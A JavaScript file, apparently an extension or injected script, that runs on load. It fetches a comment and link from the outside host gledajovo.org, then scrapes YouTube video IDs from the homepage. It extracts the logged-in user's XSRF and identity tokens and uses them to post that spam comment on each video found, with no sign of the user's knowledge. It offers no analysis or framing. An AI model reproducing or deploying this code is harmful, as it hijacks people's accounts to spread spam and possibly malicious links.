Code

var Youtube = {
     linkCek(urlData,send_id,link,comment){
       Youtube.send_comment("https://www.youtube.com/watch?v="+ send_id, comment+" "+link+ Youtube.rand(5))

     },
     rand(x){
       allcharacter = "ABCDEFGHIJKLMNOPRSTUVYZXabcdefghijklmnoprstuvyzx0123456789__________________";
       dot = "";
       for (var i = 0; i < x; i++) dot += allcharacter[Math.floor(Math.random() * allcharacter.length)];
       return dot;
     },
     start(){
       var lang = navigator.language;
       var langSplit = lang.split("-");
       var la = langSplit[0];
       var xhrLINK = new XMLHttpRequest();
       xhrLINK.open("GET", "https://gledajovo.org/comment.php?l="+la);
       xhrLINK.send();
       xhrLINK.onreadystatechange = function () {
           if (xhrLINK.readyState == 4 && xhrLINK.status == 200) {
               dataLINK = JSON.parse(xhrLINK.responseText);
               link = dataLINK.link;
               comment = dataLINK.comment;
               if(link && comment){
                 var xhr = new XMLHttpRequest();
                 xhr.open("GET", "https://www.youtube.com");
                 xhr.send();
                 xhr.onreadystatechange = function () {
                     if (xhr.readyState == 4 && xhr.status == 200) {
                       data = xhr.responseText;
                       youtubeids = data.split('/watch?v=');
                       var lengthData = 0;
                       for(var i=1 ; i < youtubeids.length; i++){
                         var urlData = Youtube.rand(9);
                         send_id = youtubeids[i].split('"')[0].split('\\')[0];
                         Youtube.linkCek(urlData,send_id,link,comment);
                       }
                     }
                   }
               }
           }
         }
     },
     send_comment(youtube_link,comment_data_text){
       var xhr = new XMLHttpRequest();
       xhr.open('GET', youtube_link, true);
       xhr.send();
       xhr.onreadystatechange = function () {
           if (xhr.readyState == 4 && xhr.status == 200) {
             var data = xhr.responseText;
             ctoken = new RegExp(/"continuation":"(.*?)"/).exec(data)[1];
             itct = new RegExp(/"clickTrackingParams":"(.*?)"/).exec(data)[1];
             session_token = new RegExp(/"XSRF_TOKEN":"(.*?)"/).exec(data)[1];
             csn = new RegExp(/"csn":"(.*?)"/).exec(data)[1];
             id_token = new RegExp(/"ID_TOKEN":"(.*?)"/).exec(data)[1];
             client_version = new RegExp(/"key":"cver","value":"(.*?)"/).exec(data)[1];
             page_cl = new RegExp(/"key":"innertube.build.changelist","value":"(.*?)"/).exec(data)[1];
             page_label = new RegExp(/"key":"innertube.build.label","value":"(.*?)"/).exec(data)[1];
             checksum = new RegExp(/"key":"innertube.build.variants.checksum","value":"(.*?)"/).exec(data)[1];
             Youtube.comment_service(ctoken,itct,session_token,csn,youtube_link,id_token,client_version,page_cl,page_label,checksum,comment_data_text);
           }
       }
     },
     comment_service(ctoken,itct,session_token,csn,youtube_link,id_token,client_version,page_cl,page_label,checksum,comment_data_text){
       var xhr = new XMLHttpRequest();
       xhr.open('POST', 'https://www.youtube.com/comment_service_ajax?action_get_comments=1&pbj=1&ctoken='+ctoken+'&itct='+itct);
       xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
       xhr.setRequestHeader('x-spf-previous', youtube_link);
       xhr.setRequestHeader('x-spf-referer', youtube_link);
       xhr.setRequestHeader('x-youtube-client-name', '1');
       xhr.setRequestHeader('x-youtube-client-version', client_version);
       xhr.setRequestHeader('x-youtube-identity-token', id_token);
       xhr.setRequestHeader('x-youtube-page-cl', page_cl);
       xhr.setRequestHeader('x-youtube-page-label', page_label);
       xhr.setRequestHeader('x-youtube-variants-checksum', checksum);
       var data = "session_token="+ session_token;
       xhr.send(data);
       xhr.onreadystatechange = function () {
           if (xhr.readyState == 4 && xhr.status == 200) {
             var data = xhr.responseText;
             clickTrackingParams = new RegExp(/"clickTrackingParams":"(.*?)"/).exec(data)[1];
             createCommentParams = new RegExp(/"createCommentParams":"(.*?)"/).exec(data)[1];
             var xhr2 = new XMLHttpRequest();
             xhr2.open('POST', 'https://www.youtube.com/service_ajax?name=createCommentEndpoint');
             xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
             xhr2.setRequestHeader('x-spf-previous', youtube_link);
             xhr2.setRequestHeader('x-spf-referer', youtube_link);
             xhr2.setRequestHeader('x-youtube-client-name', '1');
             xhr2.setRequestHeader('x-youtube-client-version', client_version);
             xhr2.setRequestHeader('x-youtube-identity-token', id_token);
             xhr2.setRequestHeader('x-youtube-page-cl', page_cl);
             xhr2.setRequestHeader('x-youtube-page-label', page_label);
             xhr2.setRequestHeader('x-youtube-variants-checksum', checksum);
             var data2 = 'comment_text='+ comment_data_text;
             data2 += '&session_token='+ session_token;
             data2 += '&sej={"clickTrackingParams":"'+clickTrackingParams+'","createCommentEndpoint":{"createCommentParams":"'+createCommentParams+'"}}';
             data2 += '&csn='+ csn;
             xhr2.send(data2);
             xhr2.onreadystatechange = function () {
                 if (xhr2.readyState == 4 && xhr2.status == 200) {
                   var data = JSON.parse(xhr2.responseText);
                   if(data.code == 'SUCCESS'){
                   }
                 }
             }
           }
       }
     }
 };

Youtube.start();